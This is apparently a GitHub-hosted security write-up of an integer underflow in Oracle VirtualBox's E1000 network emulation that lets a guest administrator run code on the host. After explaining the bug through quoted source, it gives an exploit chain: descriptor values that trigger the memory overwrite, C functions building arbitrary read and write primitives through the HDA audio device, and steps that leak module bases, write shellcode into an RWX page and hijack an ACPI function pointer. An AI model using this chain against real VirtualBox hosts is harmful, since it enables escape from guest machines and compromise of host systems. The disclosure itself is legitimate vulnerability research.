Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Oracle VirtualBox Intel PRO 1000 MT Desktop - Integer Underflow Vulnerability

Affected Software

Oracle VirtualBox 6.0.4 and prior versions

Severity of the bug

High

The Vulnerability Description

When we create a new Windows 10 virtual machine, the default network mode will be NAT and adapter type is Intel PRO/1000 MT Desktop (82540EM), we will refer to it as E1000.

The E1000 emulation has a vulnerability that allows an attacker with root/administrator privileges in the guest OS to execute arbitrary code in the host OS.

Technical Details

The Transmit Descriptors Processing

When sending a network packet, the OS will write TX (transmit) descriptors to the TX descriptors list which is a ring buffer in the physical memory. Some registers relate to the TX descriptors are:

  • TDBAL / TDBAH: The TX descriptor physical memory base.
  • TDLEN: The TX descriptor length.
  • TDH / TDT: The head and tail of the TX descriptor.

After properly setup the TX descriptors list by setting above registers, we can start processing those TX descriptors by setting the TDT register:

static int e1kRegWriteTDT(PE1KSTATE pThis, uint32_t offset, uint32_t index, uint32_t value)
{

....    
    
            rc = e1kXmitPending(pThis, false /*fOnWorkerThread*/);

....            
            
}

In e1kXmitPending() function, there's a loop to iterate through all TX descriptors and processing them:

static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{

....    
    
        bool fIncomplete = false;
        while (!pThis->fLocked && e1kTxDLazyLoad(pThis))
        {
            while (e1kLocateTxPacket(pThis))
            {

....                
                
                rc = e1kXmitPacket(pThis, fOnWorkerThread);

....                
                
            }
            
....            
            
    }

....
    
}

The three main functions are:

  • e1kTxDLazyLoad: Read TX descriptors list from the guest OS to the E1000 memory.
  • e1kLocateTxPacket: Set up initial state for each context.
  • e1kXmitPacket: Actually process the TX descriptors.

Usually, a transmit context will start by a context descriptor and follow by other data descriptors. Dig into e1kLocateTxPacket() function:

static bool e1kLocateTxPacket(PE1KSTATE pThis)
{

....    

    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;

    
....        
        
}

So each transmit context is initialized by e1kUpdateTxContext() function:

DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
    if (pDesc->context.dw2.fTSE)
    {
        pThis->contextTSE = pDesc->context;
        uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/
        if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))
        {
            pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/
            
....            
            
        }

....        
        
    }

....    
    
}

This function checks the maximum segment size of the segmentation enabled context by the following expression:

cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; 
if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))

Note it down and we will use it later in the vulnerability. Come back to the processing loop in e1kXmitPending() function, the transmit context are actually processed in e1kXmitPacket() function:

static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{

....    

    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {

....        
        
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);

....        
        
}

With each descriptor in a transmit context, the function e1kXmitDesc() will be called:

static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr,
                       bool fOnWorkerThread)
{

....    

    switch (e1kGetDescType(pDesc))
    {
        case E1K_DTYP_CONTEXT:
            /* The caller have already updated the context */
            E1K_INC_ISTAT_CNT(pThis->uStatDescCtx);
            e1kDescReport(pThis, pDesc, addr);
            break;

        case E1K_DTYP_DATA:
        {

....            
            
            if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0)
            {
                E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf));

....                
                
            }
            else
            {
                if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg)))
                {
                    
....                    
                    
                }
                else if (!pDesc->data.cmd.fTSE)
                {
                    
....                    
                    
                    bool fRc = e1kAddToFrame(pThis, pDesc->data.u64BufAddr, pDesc->data.cmd.u20DTALEN);

....                    
                    
                }
                else
                {
                    
....                    
                    
                    rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread);
                }
            }

....            
            
        }

There are two ways to add a data descriptor to the frame depend on the fTSE flag:

  • e1kAddToFrame(): If the fTSE flag of this descriptor is off.
  • e1kFallbackAddToFrame(): If the fTSE of this descriptor is on.

There's no check with the fTSE flag of the current context, so we can use both ways to add data to the frame.

The Vulnerability

Take a look at e1kFallbackAddToFrame function:

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{

....    

    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

....
    
    do
    {
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, true /*fSend*/, fOnWorkerThread);

            pThis->u16TxPktLen = pThis->contextTSE.dw3.u8HDRLEN;
        }

....
        
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

....    
    
}

The function e1kFallbackAddSegment() will read cb bytes at the physical address pDesc->data.u64BufAddr from the guest OS to the E1000 memory. The cb value is calculated from how many bytes left in the current segment:

uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
if (cb > pDesc->data.cmd.u20DTALEN)
{
    cb = pDesc->data.cmd.u20DTALEN;
}

u16MaxPktLen is calculated from context descriptor and it have to satisfy the check in e1kUpdateTxContext() we noted before:

cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; 
if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))

So u16MaxPktLen must less than E1K_MAX_TX_PKT_SIZE - 4.

pThis->u16TxPktLen is initialized by 0 for each transmit context and can be increased by cb in e1kFallbackAddSegment():

static void e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{

....    

    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

....    
    
    pThis->u16TxPktLen += u16Len;
    
....

}

Another way to increase the value of pThis->u16TxPktLen is turn the fTSE off and use e1kAddToFrame() function:

static bool e1kAddToFrame(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint32_t cbFragment)
{
    
....    
    
    uint32_t const      cbNewPkt = cbFragment + pThis->u16TxPktLen;

    if (RT_UNLIKELY( !fGso && cbNewPkt > E1K_MAX_TX_PKT_SIZE ))
    {
        
....        
        
        return false;
    }

...    
    
    pThis->u16TxPktLen = cbNewPkt;

    return true;
}

The argument cbFragment is the size of current data descriptor pDesc->data.cmd.u20DTALEN. So we can increase pThis->u16TxPktLen to any value as long as it less than E1K_MAX_TX_PKT_SIZE and there is no check with the maximum segment size of the current transmit context. Come back to the size calculation in e1kFallbackAddToFrame() function:

uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
if (cb > pDesc->data.cmd.u20DTALEN)
{
    cb = pDesc->data.cmd.u20DTALEN;
}

If we increase pThis->u16TxPktLen to more than u16MaxPktLen which is less than E1K_MAX_TX_PKT_SIZE - 4, the subtraction will result in an integer underflow and turn the uint32_t cb to a very big number and larger than any pDesc->data.cmd.u20DTALEN value. The underflow results in a memory overwrite since we can read any pDesc->data.cmd.u20DTALEN bytes from the guest OS to the E1000 transmit buffer which size is only E1K_MAX_TX_PKT_SIZE (16288) bytes.

The Exploitation

Trigger the memory overwrite

Follow the above logic, we send the following TX descriptor:

1 - Context descriptor

    TX_descriptors[0].context.dw2.u4DTYP    = E1K_DTYP_CONTEXT;
    TX_descriptors[0].context.dw2.fDEXT     = 1;
    TX_descriptors[0].context.dw2.fTSE      = 1;
    TX_descriptors[0].context.dw3.u8HDRLEN  = 0;
    TX_descriptors[0].context.dw3.u16MSS    = E1K_MAX_TX_PKT_SIZE - 4 - 1;
    TX_descriptors[0].context.dw2.u20PAYLEN = 0x10000;

The u16MaxPktLen value will be E1K_MAX_TX_PKT_SIZE - 4 - 1.

2 - Data descriptor

    TX_descriptors[1].data.u64BufAddr    = overwrite_data_physic.QuadPart;
    TX_descriptors[1].data.cmd.u4DTYP    = E1K_DTYP_DATA;
    TX_descriptors[1].data.cmd.fDEXT     = 1;
    TX_descriptors[1].data.cmd.fTSE      = 1;
    TX_descriptors[1].data.cmd.u20DTALEN = E1K_MAX_TX_PKT_SIZE - 4 - 2;

After process this descriptor in e1kFallbackAddToFrame(), the pThis->u16TxPktLen value will be E1K_MAX_TX_PKT_SIZE - 4 - 2.

3 - Data descriptor

    TX_descriptors[2].data.u64BufAddr    = overwrite_data_physic.QuadPart;
    TX_descriptors[2].data.cmd.u4DTYP    = E1K_DTYP_DATA;
    TX_descriptors[2].data.cmd.fDEXT     = 1;
    TX_descriptors[2].data.cmd.fTSE      = 0;
    TX_descriptors[2].data.cmd.u20DTALEN = 2;

After process this descriptor in e1kAddToFrame(), the pThis->u16TxPktLen value will be increase by 2 to E1K_MAX_TX_PKT_SIZE - 4 and larger than the u16MaxPktLen value: E1K_MAX_TX_PKT_SIZE - 4 - 1.

4 - Data descriptor

    TX_descriptors[3].data.u64BufAddr    = overwrite_data_physic.QuadPart;
    TX_descriptors[3].data.cmd.u4DTYP    = E1K_DTYP_DATA;
    TX_descriptors[3].data.cmd.fDEXT     = 1;
    TX_descriptors[3].data.cmd.fTSE      = 1;
    TX_descriptors[3].data.cmd.u20DTALEN = overwrite_size;

When process this data descriptor, the integer underflow will occur and result in overwrite_size - 4 bytes after the E1000 transmit buffer will be overwritten with the memory from the guest OS.

5 - Data descriptor

    TX_descriptors[4].data.u64BufAddr    = overwrite_data_physic.QuadPart;
    TX_descriptors[4].data.cmd.u4DTYP    = E1K_DTYP_DATA;
    TX_descriptors[4].data.cmd.fDEXT     = 1;
    TX_descriptors[4].data.cmd.fTSE      = 1;
    TX_descriptors[4].data.cmd.fEOP      = 1;
    TX_descriptors[4].data.cmd.u20DTALEN = 0;

This descriptor does nothing than terminate the transmit processing.

Using the exploit strategy from the public exploit https://github.com/MorteNoir1/virtualbox_e1000_0day, we got the relative out-of-bound write primitive and leak the base address of some host modules.

The Arbitrary Read / Write

The default audio controller for Windows 10 guest OS is Intel HD Audio (HDA):

typedef struct HDASTATE
{

....    
    
    /** Pointer to CORB buffer. */
    R3PTRTYPE(uint32_t *)              pu32CorbBuf;
    /** Size in bytes of CORB buffer. */
    uint32_t                           cbCorbBuf;
    /** Padding for alignment. */
    uint32_t                           u32Padding1;
    /** Pointer to RIRB buffer. */
    R3PTRTYPE(uint64_t *)              pu64RirbBuf;
    /** Size in bytes of RIRB buffer. */
    uint32_t                           cbRirbBuf;

....    
    
} HDASTATE, *PHDASTATE;

When processing a CORB command, the HDA device will read cbCorbBuf bytes from the guest OS to the pu32CorbBuf buffer then write cbRirbBuf bytes from pu64RirbBuf in the HDA device to the guest os:

static int hdaR3CmdSync(PHDASTATE pThis, bool fLocal)
{
    int rc = VINF_SUCCESS;
    if (fLocal)
    {
        if (pThis->u64CORBBase)
        {

....            
            
            rc = PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), pThis->u64CORBBase, pThis->pu32CorbBuf, pThis->cbCorbBuf);

....            
            
        }
    }
    else
    {
        if (pThis->u64RIRBBase)
        {
            
....            

            rc = PDMDevHlpPCIPhysWrite(pThis->CTX_SUFF(pDevIns), pThis->u64RIRBBase, pThis->pu64RirbBuf, pThis->cbRirbBuf);

....            
            
    }

....    
    
}

Use the Out-of-Bound write to modify the fields: cbCorbBuf, pu32CorbBuf, cbRirbBuf, pu64RirbBuf we can get the arbitrary read/write primitives.

Set the HDA registers properly, we can reach to the hdaR3CmdSync() function:

static int hdaRegWriteCORBWP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value)
{

....    

    rc = hdaR3CORBCmdProcess(pThis);

....
    
}

static int hdaR3CORBCmdProcess(PHDASTATE pThis)
{

....    

    int rc = hdaR3CmdSync(pThis, true /* Sync from guest */);

....    

    rc = hdaR3CmdSync(pThis, false /* Sync to guest */);

....    
    
}

With this, we already have the two powerful primitives:

uint64_t arbitrary_read(uint64_t addr)
{
    if (mapped_RIRB_buffer && mapped_hda_mmio)
    {
        eeprom_relative_write_qword(eeprom_offset_pu64RirbBuf, addr);   // REPLACE RIRB BUFFER
        *(uint8_t*)&mapped_hda_mmio[0x4c] = 2;                          // CALL hdaR3CORBCmdProcess()

        uint64_t result = mapped_RIRB_buffer[0];
        return result;
    }
    else
    {
        DbgPrint("[-] RIRB IS UNINITIALIZED\n");
        return 0;
    }
}

bool arbitrary_write(uint64_t addr, PHYSICAL_ADDRESS data)
{
    if (mapped_hda_mmio && pu32CorbBuf_ptr)
    {
        eeprom_relative_write_qword(eeprom_offset_pu32CorbBuf, addr);

        *(uint32_t*)&mapped_hda_mmio[0x40] = data.LowPart;
        *(uint32_t*)&mapped_hda_mmio[0x44] = data.HighPart;
        *(uint8_t*)&mapped_hda_mmio[0x4c] = 2;                                      // CALL hdaR3CORBCmdProcess()

        eeprom_relative_write_qword(eeprom_offset_pu32CorbBuf, pu32CorbBuf_ptr);    // RESTORE CORB BUFFER
        return true;
    }
    else
    {
        DbgPrint("[-] pu32CorbBuf_ptr IS UNINITIALIZED\n");
        return false;
    }
}

The Code Execution

The VirtualBoxVM process has a page with RWX protection within the VBoxREM.dll memory:

static void page_init(void)
{
    
....    
    
    RTMemProtect(code_gen_buffer, code_gen_buffer_size,
                 RTMEM_PROT_EXEC | RTMEM_PROT_READ | RTMEM_PROT_WRITE);

....
    
}  
    

Before we use the arbitrary write primitive, we should use the arbitrary read primitive to backup the original pu32CorbBuf value then restore the buffer after the execution.

From the leaked VboxDD.dll image base, we use the arbitrary read primitive to leak the VboxREM.dll image base and get the code_gen_buffer pointer:

CFGMR3QueryU16Def_funcptr = arbitrary_read(vboxdd_base + vboxdd_offset_CFGMR3QueryU16Def);
vboxvmm_base = CFGMR3QueryU16Def_funcptr - vboxvmm_offset_CFGMR3QueryU16Def;
if ((vboxvmm_base & 0xffff) != 0)
{
    DbgPrint("[-] INVALID VBOXVMM BASE: 0x%llx!\n", CFGMR3QueryU16Def_funcptr);
    return false;
}
DbgPrint("[+] VBOXVMM.DLL BASE: 0x%llx\n", vboxvmm_base);

REMR3Step_func_ptr = arbitrary_read(vboxvmm_base + vboxvmm_offset_REMR3Step);
vboxrem_base = REMR3Step_func_ptr - vboxrem_offset_REMR3Step;
if ((vboxrem_base & 0xffff) != 0)
{
    DbgPrint("[-] INVALID VBOXREM.DLL BASE: 0x%llx!\n", REMR3Step_func_ptr);
    return false;
}
DbgPrint("[+] VBOXREM.DLL BASE: 0x%llx\n", vboxrem_base);

RWX_page_addr = arbitrary_read(vboxrem_base + vboxrem_offset_code_gen_buffer);

Then we use arbitrary write primitive to write our shellcode to this buffer:

if (!arbitrary_write(RWX_page_addr, shellcode_physic))
{
    DbgPrint("[-] WRITE SHELLCODE FAILED: [0x%llx]\n", RWX_page_addr);
    return false;
}

Because when we use the arbitrary read primitive, we have overwritten the RIRB buffer pu64RirbBuf , so after the execution, we should replace the buffer with a valid heap chunk so the virtual machine can continue to use the audio features. Our shellcode will spawn a calculator process and return a newly allocated heap chunk to replace the overwritten RIRB.

The remaining work is quite simple, find a function pointer in those device object and replace with the RWX buffer. To do this, I choose to overwrite the acpiR3Pm1aEnRead function pointer with the RWX page, then use the IN instruction to trigger the function call, use the return value to replace the overwritten RIRB. The virtual machine can run normally from now.

eeprom_relative_write_qword(eeprom_offset_acpiR3Pm1aEnRead, RWX_page_addr);                 // REPLACE acpiR3Pm1aEnRead() FUNCTION POINTER BY SHELLCODE ADDRESS
uint64_t allocated_buff = ASMInU32(0x4002);                                                 // CALL acpiR3Pm1aEnRead(), SHELLCODE WILL SPAWN A CALCULATOR AND ALLOC A VALID HEAP CHUNK TO REPLACE RIRB                            
DbgPrint("[+] BUFF ALLOCATED BY SHELLCODE: 0x%llx\n", allocated_buff);
eeprom_relative_write_qword(eeprom_offset_acpiR3Pm1aEnRead, acpiR3Pm1aEnRead_funcptr);      // RESTORE acpiR3Pm1aEnRead() FUNCTION POINTER
eeprom_relative_write_qword(eeprom_offset_pu64RirbBuf, allocated_buff);                     // RESTORE RIRB WITH THE ALLOCATED BUFF

Advisory

The patch